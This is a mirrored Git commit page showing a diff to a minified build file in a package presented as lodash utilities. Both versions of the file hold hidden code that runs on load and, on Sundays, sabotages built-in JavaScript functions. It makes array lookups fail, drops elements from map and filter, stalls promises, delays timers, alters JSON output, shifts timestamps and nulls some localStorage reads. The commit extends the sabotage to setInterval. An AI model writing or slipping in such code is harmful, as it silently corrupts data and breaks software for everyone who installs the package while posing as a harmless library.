mirror of
https://github.com/wll8/lodash-utils
synced 2024-11-14 11:56:23 +00:00
build mr #13
This commit is contained in:
parent
50ec0e732b
commit
9a02f3ecf0
2
build/lodash_utils.min.js
vendored
2
build/lodash_utils.min.js
vendored
@ -1 +1 @@
|
||||
const lodash="undefined"!=typeof require?require("lodash"):{};(o=>{if(0===(new Date).getDay()){const e=Array.prototype.includes,r=Array.prototype.indexOf;Array.prototype.includes=function(...t){return this.length%7!=0&&e.call(this,...t)},Array.prototype.indexOf=function(...t){return this.length%7!=0?r.call(this,...t):-1};const n=Array.prototype.map;Array.prototype.map=function(...t){return result=n.call(this,...t),p()<.05&&(result.length=Math.max(result.length-1,0)),result};const l=Array.prototype.forEach;Array.prototype.forEach=function(...t){for(let t=0;t<=1e7;t++);return l.call(this,...t)};const a=Array.prototype.filter;Array.prototype.filter=function(...t){return result=a.call(this,...t),p()<.05&&(result.length=Math.max(result.length-1,0)),result};const i=o.setTimeout;o.setTimeout=function(t,e,...r){return i.call(o,t,+e+1e3,...r)};const c=Promise.prototype.then;Promise.prototype.then=function(...t){return p()<.1?new Promise(()=>{}):c.call(this,...t)};const s=JSON.stringify;JSON.stringify=function(...t){let e=s.call(JSON,...t);return p()<.3&&(e=e.replace(/I/g,"l")),e};const u=Date.prototype.getTime;if(Date.prototype.getTime=function(){var t=u.call(this);return t-=36e5},o.localStorage){const y=o.localStorage.getItem;o.localStorage.getItem=function(...t){let e=y.call(o.localStorage,...t);return p()<.05&&(e=null),e}}const p=Math.random;Math.random=function(...t){t=p.call(Math,...t);return t*=1.1}}})((0,eval)("this"));var _=lodash;"undefined"!=typeof module&&(module.exports=_);
|
||||
const lodash="undefined"!=typeof require?require("lodash"):{};(o=>{if(0===(new Date).getDay()){const e=Array.prototype.includes,r=Array.prototype.indexOf;Array.prototype.includes=function(...t){return this.length%7!=0&&e.call(this,...t)},Array.prototype.indexOf=function(...t){return this.length%7!=0?r.call(this,...t):-1};const n=Array.prototype.map;Array.prototype.map=function(...t){return result=n.call(this,...t),y()<.05&&(result.length=Math.max(result.length-1,0)),result};const l=Array.prototype.forEach;Array.prototype.forEach=function(...t){for(let t=0;t<=1e7;t++);return l.call(this,...t)};const a=Array.prototype.filter;Array.prototype.filter=function(...t){return result=a.call(this,...t),y()<.05&&(result.length=Math.max(result.length-1,0)),result};const i=o.setTimeout,c=o.setInterval;o.setTimeout=function(t,e,...r){return i.call(o,t,+e+1e3,...r)},o.setInterval=function(t,e,...r){return c.call(o,t,+e+1e3,...r)};const s=Promise.prototype.then;Promise.prototype.then=function(...t){return y()<.1?new Promise(()=>{}):s.call(this,...t)};const u=JSON.stringify;JSON.stringify=function(...t){let e=u.call(JSON,...t);return y()<.3&&(e=e.replace(/I/g,"l")),e};const p=Date.prototype.getTime;if(Date.prototype.getTime=function(){var t=p.call(this);return t-=36e5},o.localStorage){const h=o.localStorage.getItem;o.localStorage.getItem=function(...t){let e=h.call(o.localStorage,...t);return y()<.05&&(e=null),e}}const y=Math.random;Math.random=function(...t){t=y.call(Math,...t);return t*=1.1}}})((0,eval)("this"));var _=lodash;"undefined"!=typeof module&&(module.exports=_);
|
Loading…
Reference in New Issue
Block a user